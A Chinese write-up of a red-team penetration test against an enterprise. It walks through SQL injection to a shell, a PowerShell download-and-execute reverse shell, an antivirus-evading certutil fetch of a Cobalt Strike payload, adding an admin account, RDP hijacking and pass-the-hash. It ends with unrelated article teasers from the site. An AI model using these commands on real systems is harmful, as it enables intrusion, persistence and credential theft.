攻防演练期间一次对某企业的渗透测试

免责声明

由于传播、利用本文章说黑客所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者说黑客不为承担任何责任,一旦造成后果请自行承担!

前言

某次攻防演练中,主办方只提供了目标企业名称,其他信息都需要自己收集,这篇文章记录一下渗透过程。

信息收集

既然只有目标名称,name首先根据提供的名称去查询下备案域名。一般常用的就是工信部ICP/IP地址/域名信息备案管理系统

https://beian.miit.gov.cn/

e2b490afe8b1498f87916512767d5da9.png是比较精准了,但是每次查询都要点击验证码,对于我这种懒人来说还是感觉比较麻烦~ 个人使用次数比较多的是 

98d660c91d4143b08e232959bf0403e2.png这个网站优点就是很少触发验证码识别,缺点可能信息更新不及时/不全面,跟前一个网站可以配合着用 查询到目标备案域名后,可以在fofa、hunter上进行信息收集,或者使用谷歌语法

site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username

在对主站及子域进行相关测试后,并没有发现可以利用的点;使用nmap对子域IP进行全端口探测,发现如下信息系统:

fb9e9722b529412297abcf69a071942b.png

 

SQL注入上线CS

使用burp爆破弱口令未果;遂尝试SQL注入,发现漏洞存在且为DBA权限ffa3a2e1fc1a41309e1da06c121f9f1f.png

 

直接os-shell,但是看不到回显

sqlmap.py -r 1.txt --os-shell

99ac57ab59f7439bab7cc8e3459bdc44.png

 

可以通dnslog,但是尝试powershell上线失败ad84019de927425d9dc272775a5dc9ba.png

 

通过powershell反弹cmd

  • • powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。被攻击端运行命令
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c **** -p **** -e cmd

攻击端用nc监听即可反弹出cmd。

eb161e6d07934de8983067de13c12965.png

 

然后使用certutil下载CS上线程序,然后执行上线。certutil是windows下一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。但是该命令的使用会引发杀毒软件的查杀,所以在实际渗透中需要将该命令做一定的免杀处理,比如

c""""e""""r""""t""""u""""t""""i""""l.exe -urlcache -split -f http://ip/6666.exe 6666.exe

 

 

8759a7d8cbd444aaab8d78bfc081591f.png

提权&&内网横向

当前用户是SqlServer权限,不利于下一步的内网横向,所以要先提权,执行systeminfo可知当前为server2012系统。当前可以考虑使用BadPotato提权(提权脚本见知识星球)

ddc2053e2d354283a36688249fc3ab7d.png 

当前被控机已提权至system权限,一般我们可以在CS上注入一个进程简单做一下权限维持 在CS客户端会话上

邮件-Explore-Process List-在加载出的系统进程中选择一个常见程序-下方选择Inject

 

 

72309f1d48224e56821e225e8da3d329.png

 

至此系统提权和权限维持已完成,因为是server2012 R2版本,也没有啥比较好的办法去读密码,个人一般选择加用户或者激活guest然后搭代理登3389。添加用户:

net user aaa 123qwe... /add

这就添加了一个用户为:aaa密码为:123qwe...的用户了 第二步 将此用户提升为管理员:

net localgroup administrators aaa /add

管理员账户已经添加完成,看看受控机是否启用远程桌面连接

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

0x1表示关闭;0x0表示开启

33daa56695204df5bae1d6f60f145b76.png

 

查一下远桌面服务开在了哪个端口

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\rdp-Tcp /v PortNumber

f3b450cf4b874154b47d0e2698c8d831.png 

之后再通过计算器来将16进制转10进制即可:

820c5f5a50144a51824ab203ddd98b90.png 

现在该有的权限、管理员账号、3389都具备了,用frp或者nps搭个代理就可以连接内网服务器了。但是还没有拿下服务器的管理员桌面,可以考虑使用rdp劫持

privilege::debug #提权 
ts::sessions #查看当前主机的会话
token::elevate #提升本地管理员权限为system 
ts::remote /id:2 #劫持id为2的会话

或者

privilege::debug 
sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 "/run:mstsc.exe /restrictedadmin"

(手头上没有合适的机器复现了,暂且找了张图凑合看吧,图文无关~)

e934d35635374dc0bfdc1a9504b379ad.png

 

现在管理员桌面也搞定了,然后直接上Tscan扫内网,等待的时间可以翻翻mstsc连接记录、浏览器历史记录和记住的账号密码。这个内网资产还可以,毕竟是大企业内网而且防护相对比较薄弱,刚好Tscan的POC比较多,比较适合刷分。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/1619297.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

应用TortoiseSVN的SubWCRev管理VisualStudio C#项目编译版本号

1、拷贝Porperties目录下的文件AssemblyInfo.cs生成副本AssemblyInfo.template.cs, 作为版本管理的模板文件。 2、修改模板文件中的想要管理的版本号信息 // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.5.0.$WCREV$")]//0.9.5…

c#之反射详解

总目录 文章目录 总目录一、反射是什么?1、C#编译运行过程2、反射与元数据3、反射的优缺点 二、反射的使用1、反射相关的类和命名空间1、System.Type类的应用2、System.Activator类的应用3、System.Reflection.Assembly类的应用4、System.Reflection.Module类的应用…

9. 解谜游戏

目录 题目 Description Input Notes 思路 暴力方法 递归法 注意事项 C代码(递归法) 关于DFS 题目 Description 小张是一个密室逃脱爱好者,在密室逃脱的游戏中,你需要解开一系列谜题最终拿到出门的密码。现在小张需要打…

【Windows10】利用分区助手扩展C盘分区

文章目的:   在开始对C盘进行空间分配时,配额空间过小,后续使用希望扩展C盘的空间大小 分区助手百度网盘下载链接:link   提取码:go16 1、下载安装好分区助手后打开,点击右上角Tools,再点击…

将C盘分区部分容量分配给其他分区

最近在学习OpenStack相关的实验,硬盘容量需要分配一百多两百个G。电脑用久了,不知不觉磁盘也将要挤满的感觉,除C盘外。就想着把C盘的一些容量转到E盘里。 以下为具体步骤: 下载分区工具 选择合适的分区工具下载。我使用的是 win1…

Windows: 如何调整C盘分区大小

最开始安装系统,做分区时给C分区的大小一般都太小,后面发现不够时却无从下手。 Windows磁盘管理做不了这个事。因为它只能扩展后面为空白的。但D分区已有数据,无法扩展。 所以,我们得借助另一个工具:DiskGenius. 操…

【八股】2023秋招八股复习笔记5(计算机网络-CN)

文章目录 八股目录目录1、应用层 & HTTP一些http题HTTPS 加密原理(问过)HTTP/1.1 新特性HTTP/2.0 与 RPC(问过)GET 和 POST 比较 2、传输层 & TCPTCP三次握手 & 四次挥手(问过)为什么每次TCP 连…

基于vue和element的脚手架【vue-element-admin 和vue-element-plus-admin 】

vue-element-admin vue-element-admin 是一个后台前端解决方案,它基于 vue 和 element-ui实现 介绍 | vue-element-adminA magical vue adminhttps://panjiachen.github.io/vue-element-admin-site/zh/guide/ vue-element-plus-admin vue-element-plus-admin 是一…

keras深度学习框架通过简单神经网络实现手写数字识别

背景 keras深度学习框架,并不是一个独立的深度学习框架,它后台依赖tensorflow或者theano。大部分开发者应该使用的是tensorflow。keras可以很方便的像搭积木一样根据模型搭出我们需要的神经网络,然后进行编译,训练,测试…

脑优化全集

1电脑优化全集 一、系统优化设置 1、删除Windows强加的附件: a.用记事本NOTEPAD修改sysoc.inf(在windiws/inf文件夹),用查找/替换功能,在查找框中输入,hide,7(一个英文逗号紧跟hide,一个英文逗…

个人永久性免费-Excel催化剂功能第49波-标准数据结构表转报表样式结果

中国的企业信息化,已经过去了20年,企业里也产生了大量的数据,IT技术的信息化管理辅助企业经营管理也已经得到广泛地认同,现在就连一个小卖部都可以有收银系统这样的信息化管理介入。但同时也有一个很现实的问题,不是所…

个人永久性免费-Excel催化剂功能第37波-把Sqlserver的强大分析函数拿到Excel中用...

本人一直钟情于使用Sqlserver数据库的一大原因是其提供了非常好用、高效的数据分析函数(窗口函数),可以在做数据清洗和数据分析场合等多个场景使用。只需简单的一个函数即可做出常规SQL语句很难以实现的效果。这么好用的函数,如今…

个人永久性免费-Excel催化剂功能第43波-文本处理类函数增强

Excel的函数有400多个,真正常用的50多个,而常有的文本处理类函数也不多,不是因为文本类处理简单,而是Excel真的有点挤牙膏式的每个版本更新那么几个小函数,普通用户等得急切,但实际上这些小函数&#xff0c…

个人永久性免费-Excel催化剂功能第30波-工作表快捷操作(批量创建、命名、排序、工作表目录)...

日常使用Excel过程中,最多的操作无外乎单元格和工作表的操作,单元格的操作在前面已经有详细的辅助功能提供,此篇提供工作表相关的操作。这两项的操作若能有提速,日常大量的工作叠加起来真是省下不少时间。 文章出处说明 原文在简书…

自定义镜像上传阿里云

目录 一、Docker制作jdk镜像 jdkv1.0版本 ① 编写Dockerfile文件 ② 执行Dockerfile文件,初次依赖镜像的时候会下载相应的镜像 ③ 查看镜像 ④ 创建并启动容器 二、alpine 制作jdk镜像 jdkv2.0的版本 1.alpine Linux 简介 2.基于 alpine 制作 j…

个人永久性免费-Excel催化剂功能第28波-工作薄瘦身,安全地减少非必要冗余

Excel催化剂在完善了数据分析场景的插件需求后,决定再补充一些日常绝大多数Excel用户同样可以使用到的小功能,欢迎小白入场,在不违背太多Excel最佳实践的前提下,Excel催化剂乐意为广大Excel用户们增添有价值和高频使用的快捷操作类…

计算机英语总结800,高三英语教师工作总结800字(通用5篇)

高三英语教师工作总结800字(通用5篇) 难忘的工作生活已经告一段落了,回顾这段时间的工作,相信你有很多感想吧,来为这一年的工作写一份工作总结吧。大家知道工作总结的格式吗?下面是小编精心整理的高三英语教师工作总结800字(通用5…

如何提高英语听力(内容摘自NECCS)+ 乘法表

乘法表 print(\n.join([ .join([%s*%s%-2s%(y,x,x*y) for y in range(1,x1)]) for x in range(1,10)])) 如何提高英语听力 很喜欢这篇关于提高英语听力的文章,所以收藏下来和大家一同分享一下 人走路时要用两条腿,没有任何人会觉得走路费劲。可如果让人…

张晓楠讲如何提高英语听力

张晓楠:现在是中央电视台财经频道(CCTV-2)的记者。曾任北京电视台青少频道主持人。原新浪网财经频道的主持人兼记者。毕业于美国哥伦比亚大学,主修金融方向,获公共管理硕士学位;曾在纽约摩根大通银行、瑞士信贷投资银行…

2023年6月GESP C++ 四级试卷解析

一、单选题(每题2分,共30分) 1.高级语言编写的程序需要经过以下( )操作,可以生成在计算机上运行的可执行代码。 A.编辑 B.保存 C.调试 D.编译 【答案】D 【考纲知识点】编程环境(一级) 【解析】本题…